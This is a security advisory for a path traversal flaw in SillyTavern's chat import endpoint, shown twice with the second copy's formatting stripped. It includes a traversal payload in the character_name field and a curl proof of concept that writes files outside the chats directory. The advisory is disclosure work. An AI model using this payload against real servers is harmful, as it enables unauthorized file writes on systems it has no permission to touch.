Summary
A path traversal vulnerability in /api/chats/import allows an authenticated attacker to write attacker-controlled files outside the intended chats directory by injecting traversal sequences into character_name.
Details
character_name is used unsafely as part of the destination filename and then passed into path.join(...) without sanitization.
Evidence:
Example payload:
character_name=../../../../tmp/st_poc
This causes the final destination path to escape from <user>/chats/<avatar>/... and write to an attacker-controlled location such as /tmp/... (or any writable path for the service account).
PoC
Prerequisites:
- Valid authenticated session cookie (
cookie.txt)
- Valid CSRF token (
$TOKEN)
Prepare payload:
printf '{"user_name":"u","chat_metadata":{}}\n{"name":"u","mes":"owned"}\n' >/tmp/poc.jsonlTrigger arbitrary write:
curl -b cookie.txt -H "x-csrf-token: $TOKEN" \
-F "avatar=@/tmp/poc.jsonl" \
-F "file_type=jsonl" \
-F "avatar_url=a.png" \
-F "character_name=../../../../tmp/st_poc" \
-F "user_name=u" \
http://TARGET:8000/api/chats/import
Observed result:
- A file is created outside chats directory, for example:
/tmp/st_poc - <timestamp> imported.jsonl
Impact
- Integrity: attacker can create files in unintended filesystem locations.
- Availability: can be used for disk abuse and disruptive file placement.
- Can become more severe when chained with other local processing behaviors.
Resolution
The issue was addressed in version 1.17.0
References
maru1009 Reporter
Summary
A path traversal vulnerability in
/api/chats/importallows an authenticated attacker to write attacker-controlled files outside the intended chats directory by injecting traversal sequences intocharacter_name.Details
character_nameis used unsafely as part of the destination filename and then passed intopath.join(...)without sanitization.Evidence:
https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L680-L686
character_nameused in output filename:https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L719-L723
https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L759-L766
https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/server-main.js#L239
Example payload:
character_name=../../../../tmp/st_pocThis causes the final destination path to escape from
<user>/chats/<avatar>/...and write to an attacker-controlled location such as/tmp/...(or any writable path for the service account).PoC
Prerequisites:
cookie.txt)$TOKEN)Prepare payload:
Trigger arbitrary write:
Observed result:
/tmp/st_poc - <timestamp> imported.jsonlImpact
Resolution
The issue was addressed in version 1.17.0
References